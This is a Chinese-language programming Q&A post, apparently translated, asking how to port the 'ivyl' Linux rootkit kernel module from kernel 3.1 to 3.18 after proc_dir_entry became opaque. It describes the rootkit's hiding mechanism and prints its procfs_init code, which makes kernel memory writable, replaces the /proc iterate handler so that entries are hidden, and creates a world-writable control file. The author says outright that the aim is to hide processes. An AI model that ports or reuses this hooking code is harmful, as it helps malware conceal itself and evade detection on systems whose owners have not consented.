我正在将内核模块从3.1迁移到3.18。 struct dir_proc_entry
定义已移至fs/proc/internal.h
。如何在新版本中使用此结构?当我试图包含internal.h
时,我收到了一个不存在的错误。
fatal error: fs/proc/internal.h: No such file or directory
我是否缺少与dir_proc_entry
合作的东西?我读到这个结构在3.10中变得不透明。使用它的正确方法是什么?
在我的代码中,我有:
static struct proc_dir_entry *proc01;
...
parent = proc01->parent;
使用proc_dir_entry
的正确方法是什么?
我正在尝试做的是:dereferencing proc_dir_entry pointer causing compilation error on linux version 3.11 and above
我做了与我自己列出的代码完全相同的修改。唯一的变化是我现在正在使用更新/不同的内核头文件。
以下是ivyl rootkit的工作原理。
内核模块使用__init rootkit_init(void)进行初始化。
同时运行procfs_init或fs_init
这两个函数都用自定义版本替换readdir(对于内核3.10及更早版本)或迭代(对于内核3.11和更新版本)。这是rootkit的隐藏功能。它们通过使内存读/写替换函数然后使内存只读来工作。
procfs_init对进程文件系统进行操作。它创建一个由每个人称为rtkit的读/写文件。它将原始readdir(iterate)替换为从视图中隐藏rtkit的新readdir(iterate)。
fs_init对/ etc中的文件系统进行操作。这是存储模块的地方。换句话说,它隐藏了可执行代码。
procfs_init中的代码依赖于proc_dir_entry结构。此代码详细说明(逐行):
procfs_init的代码:
static int __init procfs_init(void)
{
//new entry in proc root with 666 rights
proc_rtkit = create_proc_entry("rtkit", 0666, NULL);
if (proc_rtkit == NULL) return 0;
proc_root = proc_rtkit->parent;
if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) {
return 0;
}
proc_rtkit->read_proc = rtkit_read;
proc_rtkit->write_proc = rtkit_write;
//substitute proc readdir to our wersion (using page mode change)
proc_fops = ((struct file_operations *) proc_root->proc_fops);
proc_readdir_orig = proc_fops->iterate;
set_addr_rw(proc_fops);
proc_fops->iterate = proc_readdir_new;
set_addr_ro(proc_fops);
return 1;
}
由于dir_proc_entry结构现在是不透明的,我该如何替换此代码的功能?我需要代码来读/写进程,以便可以根据需要隐藏进程。
编辑:修改了问题标题并删除了无关的声明。添加了关于我正在尝试做什么的澄清。
编辑:添加了ivyl rootkit工作的描述。